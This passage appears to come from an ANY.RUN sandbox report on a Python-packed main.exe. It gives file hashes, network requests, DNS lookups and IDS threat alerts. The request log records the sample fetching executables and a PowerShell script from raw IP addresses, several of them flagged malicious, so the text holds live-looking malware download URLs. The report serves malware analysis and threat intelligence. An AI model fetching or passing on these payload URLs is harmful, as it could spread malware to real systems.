SHA256:7C2D2030D5D246739C5D85F087FCF404BC36E1815E69A8AC7C9541267734FC28
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_queue.pydexecutable
MD5:CC0F4A77CCFE39EFC8019FA8B74C06D0
SHA256:DEE7D19A9FCAB0DF043DC56F2CDC32F1A2A968AB229679B38B378C61CA0CBA53
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_cffi_backend.cp313-win_amd64.pydexecutable
MD5:5CBA92E7C00D09A55F5CBADC8D16CD26
SHA256:0E3D149B91FC7DC3367AB94620A5E13AF6E419F423B31D4800C381468CB8AD85
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_ctypes.pydexecutable
MD5:29873384E13B0A78EE9857604161514B
SHA256:3CC8500A958CC125809B0467930EBCCE88A09DCC0CEDD7A45FACF3E332F7DB33
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_hashlib.pydexecutable
MD5:3E540EF568215561590DF215801B0F59
SHA256:0ED7A6ED080499BC6C29D7113485A8A61BDBA93087B010FCA67D9B8289CBE6FA
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_socket.pydexecutable
MD5:566CB4D39B700C19DBD7175BD4F2B649
SHA256:77EBA293FE03253396D7BB6E575187CD026C80766D7A345EB72AD92F0BBBC3AA
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_multiprocessing.pydexecutable
MD5:807DD90BE59EA971DAC06F3AAB4F2A7E
SHA256:B20DD6F5FAB31476D3D8D7F40CB5AB098117FA5612168C0FF4044945B6156D47
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
824
TCP/UDP connections
10 589
DNS requests
400
Threats
2 061

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.21.240.93:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.21.240.93:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.21.189.233:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
2.21.189.233:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2780
main.exe
GET
200
45.141.233.85:80
http://45.141.233.85/uk.exe
unknown
—
—
unknown
2780
main.exe
GET
—
198.55.98.29:80
http://198.55.98.29/HOST/BM.ps1
unknown
—
—
unknown
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/files/6691015685/lmdbDQC.exe
unknown
—
—
malicious
2780
main.exe
GET
—
198.55.98.29:80
http://198.55.98.29/HOST/VZXCHH66.exe
unknown
—
—
unknown
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/testmine/random.exe
unknown
—
—
malicious
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/files/7453936223/xgixRpV.exe
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.21.240.93:80
crl.microsoft.com
Akamai International B.V.
SE
whitelisted
1268
svchost.exe
2.21.240.93:80
crl.microsoft.com
Akamai International B.V.
SE
whitelisted
1268
svchost.exe
2.21.189.233:80
www.microsoft.com
Akamai International B.V.
GB
whitelisted
—
—
2.21.189.233:80
www.microsoft.com
Akamai International B.V.
GB
whitelisted
1268
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2780
main.exe
199.232.174.49:443
urlhaus.abuse.ch
FASTLY
GB
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.49.150.241
whitelisted
crl.microsoft.com
  • 2.21.240.93
whitelisted
google.com
  • 142.250.179.142
whitelisted
www.microsoft.com
  • 2.21.189.233
whitelisted
urlhaus.abuse.ch
  • 199.232.174.49
whitelisted
kaczor.org
  • 66.235.200.171
unknown
github.com
  • 140.82.121.4
whitelisted
lomejordesalamanca.es
  • 188.164.198.15
unknown
hbws.cc
  • 185.208.158.17
unknown
www.vuelaviajero.com
  • 208.109.201.79
unknown

Threats

PID
Process
Class
Message
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 5
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 44
2200
svchost.exe
Potentially Bad Traffic
ET DNS Query for .cc TLD
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 5
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
2780
main.exe
Potentially Bad Traffic
ET INFO PS1 Powershell File Request
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 61
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
main.exe